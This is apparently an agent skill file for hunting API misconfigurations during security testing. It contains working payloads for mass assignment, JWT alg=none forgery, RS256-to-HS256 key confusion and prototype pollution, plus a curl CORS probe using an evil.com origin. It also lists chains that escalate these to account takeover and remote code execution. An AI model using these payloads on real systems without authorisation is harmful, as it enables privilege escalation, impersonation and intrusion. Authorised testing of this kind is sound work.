hunt-api-misconfig— agent skill

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

CORS Exploitation

# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

Related Skills & Chains

• `hunt-ato` — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + hunt-ato → role=admin set on signup → ATO via privileged role on first login.
• `hunt-auth-bypass` — JWT flaws collapse the entire auth layer. Chain primitive: JWT alg=none + hunt-auth-bypass → impersonate any user by setting sub to victim ID, no signature required.
• `hunt-rce` — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach child_process.spawn. Chain primitive: Prototype pollution (__proto__.shell=true) + hunt-rce (Node.js gadget chain) → RCE on the API node.
• `hunt-subdomain` — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist *.target.com + subdomain takeover → attacker-controlled origin reads credentialed API responses.
• `security-arsenal` — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (is_admin, role, verified, permissions, org_id, tenant_id).
• `triage-validation` — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.